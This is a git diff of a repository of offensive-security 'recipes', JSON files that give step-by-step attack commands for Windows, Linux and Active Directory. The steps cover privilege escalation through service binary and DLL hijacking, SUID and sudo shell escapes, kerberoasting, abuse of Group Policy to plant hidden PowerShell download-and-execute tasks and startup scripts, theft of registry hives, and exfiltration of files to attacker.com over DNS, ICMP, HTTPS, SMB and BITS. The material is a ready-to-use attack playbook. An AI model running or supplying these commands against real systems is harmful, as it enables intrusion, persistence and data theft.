"tools": [], - "steps": [ - { - "index": 1, - "name": "Find Writable Services", - "command": "sc qc * | findstr BINARY_PATH_NAME | findstr /i /v system32", - "description": "Locate non-system service paths." - }, - { - "index": 2, - "name": "Replace Binary", - "command": "copy malicious.exe \"C:\\Program Files\\VulnService\\service.exe\" /Y", - "description": "Overwrite with reverse shell (if writable)." - }, - { - "index": 3, - "name": "Restart Service", - "command": "net stop VulnService && net start VulnService", - "description": "Trigger execution as SYSTEM." - } - ] +{ + "name": "Service Binary Replacement", + "description": "Replace legitimate service executable with malicious payload.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Find Writable Services", + "command": "sc qc * | findstr BINARY_PATH_NAME | findstr /i /v system32", + "description": "Locate non-system service paths." + }, + { + "index": 2, + "name": "Replace Binary", + "command": "copy malicious.exe \"C:\\Program Files\\VulnService\\service.exe\" /Y", + "description": "Overwrite with reverse shell (if writable)." + }, + { + "index": 3, + "name": "Restart Service", + "command": "net stop VulnService && net start VulnService", + "description": "Trigger execution as SYSTEM." + } + ] } \ No newline at end of file diff --git a/recipes/service-dll-hijack.json b/recipes/service-dll-hijack.json old mode 100644 new mode 100755 index 283ff3c..2ed138e --- a/recipes/service-dll-hijack.json +++ b/recipes/service-dll-hijack.json @@ -1,25 +1,25 @@ -{ - "name": "DLL Hijacking in Services", - "description": "Exploit DLL search order in services to load malicious library.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Identify DLL Load Paths", - "command": "wmic service get name,pathname | findstr /i vulnerable", - "description": "Find services loading from writable dirs." - }, - { - "index": 2, - "name": "Place Malicious DLL", - "command": "copy evil.dll \"C:\\ProgramData\\App\\missing.dll\"", - "description": "Drop DLL in search path." - }, - { - "index": 3, - "name": "Trigger Load", - "command": "sc start VulnerableService", - "description": "Service loads and executes DLL." - } - ] +{ + "name": "DLL Hijacking in Services", + "description": "Exploit DLL search order in services to load malicious library.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Identify DLL Load Paths", + "command": "wmic service get name,pathname | findstr /i vulnerable", + "description": "Find services loading from writable dirs." + }, + { + "index": 2, + "name": "Place Malicious DLL", + "command": "copy evil.dll \"C:\\ProgramData\\App\\missing.dll\"", + "description": "Drop DLL in search path." + }, + { + "index": 3, + "name": "Trigger Load", + "command": "sc start VulnerableService", + "description": "Service loads and executes DLL." + } + ] } \ No newline at end of file diff --git a/recipes/service-footprints.json b/recipes/service-footprints.json old mode 100644 new mode 100755 index c9829c1..35a9a8b --- a/recipes/service-footprints.json +++ b/recipes/service-footprints.json @@ -1,25 +1,25 @@ -{ - "name": "Service Configuration Analysis", - "description": "Inspect running services and startup scripts.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Systemd Services", - "command": "systemctl list-units --type=service --state=running", - "description": "Active services." - }, - { - "index": 2, - "name": "Service Files", - "command": "find /etc/systemd/system -name '*.service' -exec cat {} \\;", - "description": "Inspect unit files." - }, - { - "index": 3, - "name": "Init Scripts", - "command": "ls /etc/init.d/; cat /etc/rc.local 2>/dev/null", - "description": "Legacy boot scripts." - } - ] +{ + "name": "Service Configuration Analysis", + "description": "Inspect running services and startup scripts.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Systemd Services", + "command": "systemctl list-units --type=service --state=running", + "description": "Active services." + }, + { + "index": 2, + "name": "Service Files", + "command": "find /etc/systemd/system -name '*.service' -exec cat {} \\;", + "description": "Inspect unit files." + }, + { + "index": 3, + "name": "Init Scripts", + "command": "ls /etc/init.d/; cat /etc/rc.local 2>/dev/null", + "description": "Legacy boot scripts." + } + ] } \ No newline at end of file diff --git a/recipes/service-ticket-roasting.json b/recipes/service-ticket-roasting.json old mode 100644 new mode 100755 index c351e5b..65a6d09 --- a/recipes/service-ticket-roasting.json +++ b/recipes/service-ticket-roasting.json @@ -1,25 +1,25 @@ -{ - "name": "Service Ticket Hash Extraction", - "description": "Request and crack TGS tickets for SPN-linked accounts.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Ticket Request", - "command": "Rubeus.exe kerberoast /outfile:tgs.txt /simple", - "description": "Harvest all accessible service tickets." - }, - { - "index": 2, - "name": "Manual SPN Target", - "command": "setspn -T corp -Q */sqlserver | Select-String \"CN=\"", - "description": "Confirm specific service SPN." - }, - { - "index": 3, - "name": "Crack TGS Hashes", - "command": "hashcat -m 13100 tgs.txt wordlist.txt", - "description": "Offline password recovery." - } - ] +{ + "name": "Service Ticket Hash Extraction", + "description": "Request and crack TGS tickets for SPN-linked accounts.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Ticket Request", + "command": "Rubeus.exe kerberoast /outfile:tgs.txt /simple", + "description": "Harvest all accessible service tickets." + }, + { + "index": 2, + "name": "Manual SPN Target", + "command": "setspn -T corp -Q */sqlserver | Select-String \"CN=\"", + "description": "Confirm specific service SPN." + }, + { + "index": 3, + "name": "Crack TGS Hashes", + "command": "hashcat -m 13100 tgs.txt wordlist.txt", + "description": "Offline password recovery." + } + ] } \ No newline at end of file diff --git a/recipes/session-and-rights-overview.json b/recipes/session-and-rights-overview.json old mode 100644 new mode 100755 diff --git a/recipes/setuid-capabilities-abuse.json b/recipes/setuid-capabilities-abuse.json old mode 100644 new mode 100755 index d7e2295..292a3b8 --- a/recipes/setuid-capabilities-abuse.json +++ b/recipes/setuid-capabilities-abuse.json @@ -1,25 +1,25 @@ -{ - "name": "Setuid and Capabilities Exploitation", - "description": "Leverage SUID binaries or file capabilities for root.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Find SUID Binaries", - "command": "find / -perm -4000 -type f 2>/dev/null", - "description": "Locate setuid-root programs." - }, - { - "index": 2, - "name": "Capabilities", - "command": "getcap -r / 2>/dev/null", - "description": "Find binaries with elevated caps." - }, - { - "index": 3, - "name": "Exploit Example (vim)", - "command": "/usr/bin/vim -c ':py import os; os.system(\"/bin/sh\")'", - "description": "Spawn root shell from SUID vim." - } - ] +{ + "name": "Setuid and Capabilities Exploitation", + "description": "Leverage SUID binaries or file capabilities for root.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Find SUID Binaries", + "command": "find / -perm -4000 -type f 2>/dev/null", + "description": "Locate setuid-root programs." + }, + { + "index": 2, + "name": "Capabilities", + "command": "getcap -r / 2>/dev/null", + "description": "Find binaries with elevated caps." + }, + { + "index": 3, + "name": "Exploit Example (vim)", + "command": "/usr/bin/vim -c ':py import os; os.system(\"/bin/sh\")'", + "description": "Spawn root shell from SUID vim." + } + ] } \ No newline at end of file diff --git a/recipes/sharpgpo-abuse.json b/recipes/sharpgpo-abuse.json new file mode 100755 index 0000000..cd7a005 --- /dev/null +++ b/recipes/sharpgpo-abuse.json @@ -0,0 +1,61 @@ +{ + "name": "SharpGPOAbuse - Group Policy Object Abuse Toolkit", + "description": "A .NET tool to abuse edit rights on Group Policy Objects (GPOs) for privilege escalation and persistence in Active Directory environments.", + "tools": [ + { + "name": "SharpGPOAbuse", + "description": "C# tool for abusing writable GPOs to add local admins, user rights, scheduled tasks, startup scripts, registry keys, etc.", + "url": "https://github.com/NukingDragons/SharpGPOAbuse" + } + ], + "steps": [ + { + "index": 1, + "name": "Download and Execute SharpGPOAbuse", + "command": "Invoke-WebRequest -Uri http:///SharpGPOAbuse.exe -OutFile SharpGPOAbuse.exe; ./SharpGPOAbuse.exe", + "description": "Transfer and execute the binary on a domain-joined Windows host (can also be executed in-memory with tools like Cobalt Strike, Covenant, etc.)." + }, + { + "index": 2, + "name": "Add Local Administrator via GPO", + "command": "SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName \"Vulnerable GPO\"", + "description": "Adds the specified user as local administrator on all computers affected by the targeted GPO." + }, + { + "index": 3, + "name": "Grant User Rights (e.g., SeTakeOwnershipPrivilege, SeDebugPrivilege)", + "command": "SharpGPOAbuse.exe --AddUserRights --UserRights \"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight,SeDebugPrivilege\" --UserAccount attacker --GPOName \"Vulnerable GPO\"", + "description": "Grants powerful user rights to the specified account across all systems linked to the GPO." + }, + { + "index": 4, + "name": "Add Immediate Scheduled Task (Computer Context)", + "command": "SharpGPOAbuse.exe --AddComputerTask --TaskName \"SystemUpdate\" --Author \"DOMAIN\\Domain Admin\" --Command \"cmd.exe\" --Arguments \"/c powershell.exe -nop -w hidden -c IEX((New-Object Net.WebClient).DownloadString('http:///payload.ps1'))\" --GPOName \"Vulnerable GPO\"", + "description": "Creates an immediate scheduled task that runs in SYSTEM context on next GP update (typically within minutes)." + }, + { + "index": 5, + "name": "Add Immediate Scheduled Task (User Context with Filtering)", + "command": "SharpGPOAbuse.exe --AddUserTask --TaskName \"UserUpdate\" --Author \"DOMAIN\\Domain Admin\" --Command \"cmd.exe\" --Arguments \"/c powershell.exe -nop -w hidden -c IEX((New-Object Net.WebClient).DownloadString('http:///payload.ps1'))\" --GPOName \"Vulnerable GPO\" --FilterEnabled --TargetUsername \"DOMAIN\\targetuser\"", + "description": "Deploys a user-context immediate task that only triggers for a specific user (optional targeting)." + }, + { + "index": 6, + "name": "Add Startup Script (Computer Context)", + "command": "SharpGPOAbuse.exe --AddComputerScript --ScriptName \"startup.bat\" --ScriptContents \"powershell.exe -nop -w hidden -c IEX((New-Object Net.WebClient).DownloadString('http:///payload.ps1'))\" --GPOName \"Vulnerable GPO\"", + "description": "Adds a startup script that executes as SYSTEM on every boot of affected machines." + }, + { + "index": 7, + "name": "Add User Logon Script", + "command": "SharpGPOAbuse.exe --AddUserScript --ScriptName \"logon.bat\" --ScriptContents \"powershell.exe -nop -w hidden -c IEX((New-Object Net.WebClient).DownloadString('http:///payload.ps1'))\" --GPOName \"Vulnerable GPO\"", + "description": "Adds a script that runs in the context of every user who logs into machines linked to the GPO." + }, + { + "index": 8, + "name": "Enable AlwaysInstallElevated Registry Key", + "command": "SharpGPOAbuse.exe --AddRegistryKey --Hive HKLM --KeyPath \"Software\\Policies\\Microsoft\\Windows\\Installer\" --KeyName AlwaysInstallElevated --KeyType REG_DWORD --KeyData 1 --GPOName \"Vulnerable GPO\"", + "description": "Sets the AlwaysInstallElevated policy to allow any user to install MSI packages with SYSTEM privileges." + } + ] +} \ No newline at end of file diff --git a/recipes/sharphound-collection.json b/recipes/sharphound-collection.json old mode 100644 new mode 100755 index 7c2d45d..7d91633 --- a/recipes/sharphound-collection.json +++ b/recipes/sharphound-collection.json @@ -1,31 +1,31 @@ -{ - "name": "Data Harvesting with SharpHound", - "description": "Collect structured AD data for graph-based attack path analysis.", - "tools": [ - { - "name": "SharpHound", - "description": "C# data collector for BloodHound", - "url": "https://github.com/BloodHoundAD/SharpHound/releases" - } - ], - "steps": [ - { - "index": 1, - "name": "Full Collection", - "command": "SharpHound.exe -c All --zipfilename domain_data.zip --domain corp.local --encryptzip", - "description": "Gather all object types and compress." - }, - { - "index": 2, - "name": "Low-Noise Mode", - "command": "SharpHound.exe -c Session,LocalGroup --stealth --throttle 5000", - "description": "Reduce detection risk." - }, - { - "index": 3, - "name": "Exfiltration Prep", - "command": "certutil -encode domain_data.zip data.b64", - "description": "Encode for transfer." - } - ] +{ + "name": "Data Harvesting with SharpHound", + "description": "Collect structured AD data for graph-based attack path analysis.", + "tools": [ + { + "name": "SharpHound", + "description": "C# data collector for BloodHound", + "url": "https://github.com/BloodHoundAD/SharpHound/releases" + } + ], + "steps": [ + { + "index": 1, + "name": "Full Collection", + "command": "SharpHound.exe -c All --zipfilename domain_data.zip --domain corp.local --encryptzip", + "description": "Gather all object types and compress." + }, + { + "index": 2, + "name": "Low-Noise Mode", + "command": "SharpHound.exe -c Session,LocalGroup --stealth --throttle 5000", + "description": "Reduce detection risk." + }, + { + "index": 3, + "name": "Exfiltration Prep", + "command": "certutil -encode domain_data.zip data.b64", + "description": "Encode for transfer." + } + ] } \ No newline at end of file diff --git a/recipes/smb-enumeration.json b/recipes/smb-enumeration.json old mode 100644 new mode 100755 index f6369eb..e58e9a7 --- a/recipes/smb-enumeration.json +++ b/recipes/smb-enumeration.json @@ -1,25 +1,25 @@ -{ - "name": "SMB Share and Null Session Enumeration", - "description": "Discover shares, users, and policies via SMB.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Null Session", - "command": "smbclient -L //target.com -N", - "description": "List shares anonymously." - }, - { - "index": 2, - "name": "Enum Users", - "command": "rpcclient -U \"\" -N target.com -c \"enumdomusers\"", - "description": "Dump domain users." - }, - { - "index": 3, - "name": "CrackMapExec", - "command": "crackmapexec smb target.com -u '' -p '' --shares", - "description": "Fast share and session enum." - } - ] +{ + "name": "SMB Share and Null Session Enumeration", + "description": "Discover shares, users, and policies via SMB.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Null Session", + "command": "smbclient -L //target.com -N", + "description": "List shares anonymously." + }, + { + "index": 2, + "name": "Enum Users", + "command": "rpcclient -U \"\" -N target.com -c \"enumdomusers\"", + "description": "Dump domain users." + }, + { + "index": 3, + "name": "CrackMapExec", + "command": "crackmapexec smb target.com -u '' -p '' --shares", + "description": "Fast share and session enum." + } + ] } \ No newline at end of file diff --git a/recipes/smtp-enumeration.json b/recipes/smtp-enumeration.json old mode 100644 new mode 100755 index 29c9cf8..f9a8f1a --- a/recipes/smtp-enumeration.json +++ b/recipes/smtp-enumeration.json @@ -1,25 +1,25 @@ -{ - "name": "SMTP User and Relay Enumeration", - "description": "Fingerprint mail server and test open relay.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "VRFY Enum", - "command": "nc -nv target.com 25 < vrfy.txt", - "description": "Verify usernames." - }, - { - "index": 2, - "name": "EXPN Test", - "command": "telnet target.com 25 -> EXPN all", - "description": "Expand mailing lists." - }, - { - "index": 3, - "name": "Open Relay", - "command": "swaks --to relaytest@attacker.com --server target.com", - "description": "Test unauthorized relay." - } - ] +{ + "name": "SMTP User and Relay Enumeration", + "description": "Fingerprint mail server and test open relay.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "VRFY Enum", + "command": "nc -nv target.com 25 < vrfy.txt", + "description": "Verify usernames." + }, + { + "index": 2, + "name": "EXPN Test", + "command": "telnet target.com 25 -> EXPN all", + "description": "Expand mailing lists." + }, + { + "index": 3, + "name": "Open Relay", + "command": "swaks --to relaytest@attacker.com --server target.com", + "description": "Test unauthorized relay." + } + ] } \ No newline at end of file diff --git a/recipes/snmp-enumeration.json b/recipes/snmp-enumeration.json old mode 100644 new mode 100755 index 90683eb..a6aa016 --- a/recipes/snmp-enumeration.json +++ b/recipes/snmp-enumeration.json @@ -1,25 +1,25 @@ -{ - "name": "SNMP Community String Enumeration", - "description": "Extract system info using default or guessed communities.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Brute Communities", - "command": "onesixtyone -c communities.txt target.com", - "description": "Fast community guessing." - }, - { - "index": 2, - "name": "SNMPWalk", - "command": "snmpwalk -v2c -c public target.com system", - "description": "Dump system tree." - }, - { - "index": 3, - "name": "Interface Info", - "command": "snmpwalk -v2c -c public target.com ifDescr", - "description": "List network interfaces." - } - ] +{ + "name": "SNMP Community String Enumeration", + "description": "Extract system info using default or guessed communities.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Brute Communities", + "command": "onesixtyone -c communities.txt target.com", + "description": "Fast community guessing." + }, + { + "index": 2, + "name": "SNMPWalk", + "command": "snmpwalk -v2c -c public target.com system", + "description": "Dump system tree." + }, + { + "index": 3, + "name": "Interface Info", + "command": "snmpwalk -v2c -c public target.com ifDescr", + "description": "List network interfaces." + } + ] } \ No newline at end of file diff --git a/recipes/spn-hunting.json b/recipes/spn-hunting.json old mode 100644 new mode 100755 index 4000c14..3df7608 --- a/recipes/spn-hunting.json +++ b/recipes/spn-hunting.json @@ -1,25 +1,25 @@ -{ - "name": "Service Principal Name Discovery", - "description": "Locate accounts with registered SPNs for targeted ticket requests.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Native setspn Dump", - "command": "setspn -Q */* | findstr CN=", - "description": "Query all registered SPNs." - }, - { - "index": 2, - "name": "AD Module Filter", - "command": "Get-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName,sAMAccountName,PasswordLastSet | Select sAMAccountName,ServicePrincipalName,PasswordLastSet", - "description": "List SPN accounts with password age." - }, - { - "index": 3, - "name": "PowerView Method", - "command": "Get-NetUser -SPN | Select samaccountname,serviceprincipalname,pwdlastset", - "description": "Alternative view with last password set." - } - ] +{ + "name": "Service Principal Name Discovery", + "description": "Locate accounts with registered SPNs for targeted ticket requests.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Native setspn Dump", + "command": "setspn -Q */* | findstr CN=", + "description": "Query all registered SPNs." + }, + { + "index": 2, + "name": "AD Module Filter", + "command": "Get-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName,sAMAccountName,PasswordLastSet | Select sAMAccountName,ServicePrincipalName,PasswordLastSet", + "description": "List SPN accounts with password age." + }, + { + "index": 3, + "name": "PowerView Method", + "command": "Get-NetUser -SPN | Select samaccountname,serviceprincipalname,pwdlastset", + "description": "Alternative view with last password set." + } + ] } \ No newline at end of file diff --git a/recipes/sudo-abuse.json b/recipes/sudo-abuse.json old mode 100644 new mode 100755 index 77e90c1..80a42fc --- a/recipes/sudo-abuse.json +++ b/recipes/sudo-abuse.json @@ -1,25 +1,25 @@ -{ - "name": "Sudo Privilege Escalation", - "description": "Abuse sudo rights to gain elevated access.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Check Sudo Rights", - "command": "sudo -l", - "description": "List allowed commands." - }, - { - "index": 2, - "name": "Exploit find", - "command": "sudo find / -exec /bin/sh \\; -quit", - "description": "If find allowed, spawn shell." - }, - { - "index": 3, - "name": "Password Bypass (CVE)", - "command": "sudo -u#-1 /bin/sh", - "description": "Exploit negative UID bug in old sudo." - } - ] +{ + "name": "Sudo Privilege Escalation", + "description": "Abuse sudo rights to gain elevated access.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Check Sudo Rights", + "command": "sudo -l", + "description": "List allowed commands." + }, + { + "index": 2, + "name": "Exploit find", + "command": "sudo find / -exec /bin/sh \\; -quit", + "description": "If find allowed, spawn shell." + }, + { + "index": 3, + "name": "Password Bypass (CVE)", + "command": "sudo -u#-1 /bin/sh", + "description": "Exploit negative UID bug in old sudo." + } + ] } \ No newline at end of file diff --git a/recipes/unquoted-service-paths.json b/recipes/unquoted-service-paths.json old mode 100644 new mode 100755 index 581cdbb..70fbf41 --- a/recipes/unquoted-service-paths.json +++ b/recipes/unquoted-service-paths.json @@ -1,25 +1,25 @@ -{ - "name": "Unquoted Service Path Exploitation", - "description": "Abuse missing quotes in service paths to execute arbitrary binary.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Find Unquoted Paths", - "command": "wmic service get name,pathname | findstr /i /v /c:\"C:\\Windows\\\" | findstr \" \" | findstr /i /v /c:\".exe\"", - "description": "List services with spaces and no quotes." - }, - { - "index": 2, - "name": "Plant Payload", - "command": "copy shell.exe \"C:\\Program Files\\Sub Dir\\service.exe\"", - "description": "Place in first writable segment." - }, - { - "index": 3, - "name": "Restart Service", - "command": "net stop BadService && net start BadService", - "description": "Windows executes planted binary first." - } - ] +{ + "name": "Unquoted Service Path Exploitation", + "description": "Abuse missing quotes in service paths to execute arbitrary binary.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Find Unquoted Paths", + "command": "wmic service get name,pathname | findstr /i /v /c:\"C:\\Windows\\\" | findstr \" \" | findstr /i /v /c:\".exe\"", + "description": "List services with spaces and no quotes." + }, + { + "index": 2, + "name": "Plant Payload", + "command": "copy shell.exe \"C:\\Program Files\\Sub Dir\\service.exe\"", + "description": "Place in first writable segment." + }, + { + "index": 3, + "name": "Restart Service", + "command": "net stop BadService && net start BadService", + "description": "Windows executes planted binary first." + } + ] } \ No newline at end of file diff --git a/recipes/user-trails-inspection.json b/recipes/user-trails-inspection.json old mode 100644 new mode 100755 index b1d98cd..932a2c2 --- a/recipes/user-trails-inspection.json +++ b/recipes/user-trails-inspection.json @@ -1,25 +1,25 @@ -{ - "name": "User Activity Forensics", - "description": "Analyze user history, recent files, and shell logs.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Bash History", - "command": "cat ~/.bash_history; cat /root/.bash_history 2>/dev/null", - "description": "Extract past commands." - }, - { - "index": 2, - "name": "Recent Files", - "command": "find /home -type f -mtime -7 -ls 2>/dev/null", - "description": "Files modified in last week." - }, - { - "index": 3, - "name": "Browser History", - "command": "cat ~/.mozilla/firefox/*.default*/places.sqlite | sqlite3 -csv -header 'SELECT url FROM moz_places' > urls.txt", - "description": "Dump Firefox URLs." - } - ] +{ + "name": "User Activity Forensics", + "description": "Analyze user history, recent files, and shell logs.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Bash History", + "command": "cat ~/.bash_history; cat /root/.bash_history 2>/dev/null", + "description": "Extract past commands." + }, + { + "index": 2, + "name": "Recent Files", + "command": "find /home -type f -mtime -7 -ls 2>/dev/null", + "description": "Files modified in last week." + }, + { + "index": 3, + "name": "Browser History", + "command": "cat ~/.mozilla/firefox/*.default*/places.sqlite | sqlite3 -csv -header 'SELECT url FROM moz_places' > urls.txt", + "description": "Dump Firefox URLs." + } + ] } \ No newline at end of file diff --git a/recipes/using-exploits-privesc.json b/recipes/using-exploits-privesc.json old mode 100644 new mode 100755 index 05e01db..781113a --- a/recipes/using-exploits-privesc.json +++ b/recipes/using-exploits-privesc.json @@ -1,25 +1,25 @@ -{ - "name": "Privilege Escalation via Known Exploits", - "description": "Compile and run public exploits for vulnerable services or kernels.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Search Exploit-DB", - "command": "searchsploit windows local | grep -i \"privilege\"", - "description": "Find relevant PoCs." - }, - { - "index": 2, - "name": "Transfer & Compile", - "command": "i686-w64-mingw-gcc exploit.c -o exploit.exe -lws2_32", - "description": "Cross-compile on Kali." - }, - { - "index": 3, - "name": "Execute", - "command": ".\\exploit.exe", - "description": "Gain SYSTEM shell." - } - ] +{ + "name": "Privilege Escalation via Known Exploits", + "description": "Compile and run public exploits for vulnerable services or kernels.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Search Exploit-DB", + "command": "searchsploit windows local | grep -i \"privilege\"", + "description": "Find relevant PoCs." + }, + { + "index": 2, + "name": "Transfer & Compile", + "command": "i686-w64-mingw-gcc exploit.c -o exploit.exe -lws2_32", + "description": "Cross-compile on Kali." + }, + { + "index": 3, + "name": "Execute", + "command": ".\\exploit.exe", + "description": "Gain SYSTEM shell." + } + ] } \ No newline at end of file diff --git a/recipes/volume-shadow-recovery.json b/recipes/volume-shadow-recovery.json old mode 100644 new mode 100755 index 0c9ada4..78e8633 --- a/recipes/volume-shadow-recovery.json +++ b/recipes/volume-shadow-recovery.json @@ -1,25 +1,25 @@ -{ - "name": "Shadow Volume File Recovery", - "description": "Access previous file versions via Volume Shadow Copy Service.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "List Snapshots", - "command": "vssadmin list shadows /for=C:", - "description": "Enumerate available shadow copies." - }, - { - "index": 2, - "name": "Mount Snapshot", - "command": "mklink /d C:\\shadow \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\", - "description": "Create accessible symlink." - }, - { - "index": 3, - "name": "Extract Files", - "command": "robocopy C:\\shadow\\Windows\\System32\\config C:\\temp\\hives SAM SYSTEM SECURITY", - "description": "Copy registry hives for offline analysis." - } - ] +{ + "name": "Shadow Volume File Recovery", + "description": "Access previous file versions via Volume Shadow Copy Service.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "List Snapshots", + "command": "vssadmin list shadows /for=C:", + "description": "Enumerate available shadow copies." + }, + { + "index": 2, + "name": "Mount Snapshot", + "command": "mklink /d C:\\shadow \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\", + "description": "Create accessible symlink." + }, + { + "index": 3, + "name": "Extract Files", + "command": "robocopy C:\\shadow\\Windows\\System32\\config C:\\temp\\hives SAM SYSTEM SECURITY", + "description": "Copy registry hives for offline analysis." + } + ] } \ No newline at end of file diff --git a/recipes/windows-data-exfil-methods.json b/recipes/windows-data-exfil-methods.json old mode 100644 new mode 100755 index 7b39c68..3980b86 --- a/recipes/windows-data-exfil-methods.json +++ b/recipes/windows-data-exfil-methods.json @@ -1,37 +1,43 @@ -{ - "name": "Windows Data Exfiltration Techniques", - "description": "Multiple covert channels to extract data from compromised Windows systems.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "DNS TXT Records", - "command": "for /f %i in (secrets.txt) do nslookup -q=txt %i.attacker.com", - "description": "Encode data in DNS queries; receive via authoritative server logs." - }, - { - "index": 2, - "name": "ICMP Echo (Ping)", - "command": "powershell -c \"(Get-Content data.txt -Raw) -split '(.{1000})' | % { ping -n 1 -p ([byte[]][char[]]$_) attacker.com }\"", - "description": "Embed payload in ICMP data field." - }, - { - "index": 3, - "name": "HTTPS POST Beacon", - "command": "powershell -c \"IWR -Uri https://attacker.com/collect -Method POST -Body (Get-Content file.db -Raw) -ContentType 'application/octet-stream'\"", - "description": "Direct upload over TLS." - }, - { - "index": 4, - "name": "SMB over Named Pipes", - "command": "copy sensitive.docx \\\\ATTACKER\\pipe\\spoolss", - "description": "Write to attacker-controlled SMB pipe." - }, - { - "index": 5, - "name": "BITSAdmin Transfer", - "command": "bitsadmin /transfer exfilJob /download /priority normal http://attacker.com/upload C:\\temp\\data.zip C:\\temp\\null", - "description": "Abuse Background Intelligent Transfer Service." - } - ] +{ + "name": "Windows Data Exfiltration Techniques", + "description": "Multiple covert channels to extract data from compromised Windows systems.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "DNS TXT Records", + "command": "for /f %i in (secrets.txt) do nslookup -q=txt %i.attacker.com", + "description": "Encode data in DNS queries; receive via authoritative server logs." + }, + { + "index": 2, + "name": "ICMP Echo (Ping)", + "command": "powershell -c \"(Get-Content data.txt -Raw) -split '(.{1000})' | % { ping -n 1 -p ([byte[]][char[]]$_) attacker.com }\"", + "description": "Embed payload in ICMP data field." + }, + { + "index": 3, + "name": "HTTPS POST Beacon", + "command": "powershell -c \"IWR -Uri https://attacker.com/collect -Method POST -Body (Get-Content file.db -Raw) -ContentType 'application/octet-stream'\"", + "description": "Direct upload over TLS." + }, + { + "index": 4, + "name": "SMB over Named Pipes", + "command": "copy sensitive.docx \\\\ATTACKER\\pipe\\spoolss", + "description": "Write to attacker-controlled SMB pipe." + }, + { + "index": 5, + "name": "BITSAdmin Transfer", + "command": "bitsadmin /transfer exfilJob /download /priority normal http://attacker.com/upload C:\\temp\\data.zip C:\\temp\\null", + "description": "Abuse Background Intelligent Transfer Service." + }, + { + "index": 5, + "name": "PSCP Transfer", + "command": "pscp.exe -pw yourpass .\\file.zip youruser@192.168.45.197:/home/kali/", + "description": "Transfer files using PuTTY SCP client https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html. Also make sure your ssh server is running on the attacker machine." + } + ] } \ No newline at end of file diff --git a/requirements.txt b/requirements.txt old mode 100644 new mode 100755